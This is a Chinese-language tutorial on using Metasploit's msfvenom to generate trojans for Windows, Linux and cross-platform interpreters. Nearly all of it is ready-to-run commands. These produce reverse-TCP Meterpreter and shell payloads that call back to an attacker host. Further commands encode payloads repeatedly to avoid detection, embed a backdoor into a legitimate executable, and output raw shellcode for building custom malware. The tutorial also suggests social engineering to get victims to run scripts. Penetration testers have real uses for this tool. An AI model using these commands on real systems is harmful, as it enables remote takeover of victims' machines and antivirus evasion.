MSF 生成不同的木马 msfvenom 框架命令
目录
什么是 msfvenom?
一、针对 Windows 的木马生成命令
1. EXE 格式(经典可执行文件)
2. VBS 脚本(Visual Basic Script)
3. PowerShell 脚本
4. DLL 文件(动态链接库)
5. Python 脚本(跨平台,但针对 Windows)
6. 添加编码避免检测
二、针对 Linux 的木马生成命令
1. ELF 文件(Linux 可执行文件)
2. Bash 脚本
3. Python 脚本(跨平台,但针对 Linux)
4. Perl 脚本
5. 添加编码避免检测
三、跨平台 Payload 示例
1. Python 跨平台木马
2. Ruby 脚本
四、其他实用技巧
1. 生成多平台 Payload 并嵌入到现有文件
2. 生成原始 Shellcode
3. 列出所有可用 Payload
五、注意事项
什么是 msfvenom
?
msfvenom
是 Metasploit 框架中的一个工具,用于生成各种类型的Payload(有效载荷),可以用来创建木马、后门等。它支持多种编码方式、文件格式和平台,生成的木马可以用于测试系统的安全性。
常用参数说明:
-
-p
:指定 Payload 类型(例如windows/meterpreter/reverse_tcp
)。 -
-f
:指定输出格式(例如exe
、elf
、py
等)。 -
-o
:指定输出文件路径。 -
-b
:避免使用某些坏字符(例如\x00
)。 -
-e
:指定编码器(例如x86/shikata_ga_nai
)。 -
-i
:指定编码迭代次数。 -
LHOST
:监听主机的 IP 地址。 -
LPORT
:监听端口。
一、针对 Windows 的木马生成命令
以下是针对 Windows 平台的常用 Payload 示例,涵盖不同语言和格式。
1. EXE 格式(经典可执行文件)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /path/to/output/malware.exe
-
解释:
-
Payload:
windows/meterpreter/reverse_tcp
(反向 TCP 连接的 Meterpreter Shell)。 -
输出格式:
exe
(Windows 可执行文件)。 -
用途:生成一个基本的 Windows 木马,连接回攻击者的 IP 和端口。
-
2. VBS 脚本(Visual Basic Script)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs -o /path/to/output/malware.vbs
-
解释:
-
输出格式:
vbs
(VBScript 脚本)。 -
用途:适合通过社会工程学诱导用户执行脚本。
-
3. PowerShell 脚本
msfvenom -p windows/powershell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f psh -o /path/to/output/malware.ps1
-
解释:
-
Payload:
windows/powershell/reverse_tcp
(基于 PowerShell 的反向 Shell)。 -
输出格式:
psh
(PowerShell 脚本)。 -
用途:利用 Windows 自带的 PowerShell 执行。
-
4. DLL 文件(动态链接库)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o /path/to/output/malware.dll
-
解释:
-
输出格式:
dll
(动态链接库)。 -
用途:可以注入到其他进程中执行。
-
5. Python 脚本(跨平台,但针对 Windows)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
-
解释:
-
输出格式:
py
(Python 脚本)。 -
用途:需要在目标上有 Python 环境。
-
6. 添加编码避免检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o /path/to/output/malware.exe
-
解释:
-
编码器:
x86/shikata_ga_nai
(多态编码器)。 -
迭代次数:
-i 5
(编码 5 次)。 -
坏字符:
-b "\x00"
(避免空字节)。
-
二、针对 Linux 的木马生成命令
以下是针对 Linux 平台的常用 Payload 示例。
1. ELF 文件(Linux 可执行文件)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o /path/to/output/malware.elf
-
解释:
-
Payload:
linux/x86/meterpreter/reverse_tcp
(Linux 下的反向 Meterpreter)。 -
输出格式:
elf
(Linux 可执行文件格式)。 -
用途:直接在 Linux 上运行。
-
2. Bash 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f sh -o /path/to/output/malware.sh
-
解释:
-
Payload:
linux/x86/shell_reverse_tcp
(反向 Shell)。 -
输出格式:
sh
(Shell 脚本)。 -
用途:生成简单的 Bash 脚本木马。
-
3. Python 脚本(跨平台,但针对 Linux)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f py -o /path/to/output/malware.py
-
解释:
-
输出格式:
py
(Python 脚本)。 -
用途:需要目标安装 Python。
-
4. Perl 脚本
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f pl -o /path/to/output/malware.pl
-
解释:
-
输出格式:
pl
(Perl 脚本)。 -
用途:适合在支持 Perl 的 Linux 系统上运行。
-
5. 添加编码避免检测
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b "\x00" -f elf -o /path/to/output/malware.elf
-
解释:
-
与 Windows 类似,使用编码器和坏字符过滤。
-
三、跨平台 Payload 示例
以下是一些跨平台的木马生成命令,通常依赖目标环境的解释器(如 Python、Ruby 等)。
1. Python 跨平台木马
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o /path/to/output/malware.py
-
解释:
-
Payload:
python/meterpreter/reverse_tcp
。 -
输出格式:
raw
(纯 Python 代码)。 -
用途:可在 Windows 和 Linux 上运行(需要 Python)。
-
2. Ruby 脚本
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f rb -o /path/to/output/malware.rb
-
解释:
-
输出格式:
rb
(Ruby 脚本)。 -
用途:需要目标安装 Ruby。
-
四、其他实用技巧
1. 生成多平台 Payload 并嵌入到现有文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -x /path/to/legit.exe -f exe -o /path/to/output/infected.exe
-
解释:
-
-x
:将 Payload 嵌入到一个合法的可执行文件中。
-
2. 生成原始 Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
-
解释:
-
输出格式:
c
(生成 C 语言格式的 Shellcode)。 -
用途:用于手动注入或开发自定义恶意软件。
-
3. 列出所有可用 Payload
msfvenom --list payloads
-
解释:查看所有支持的 Payload 类型。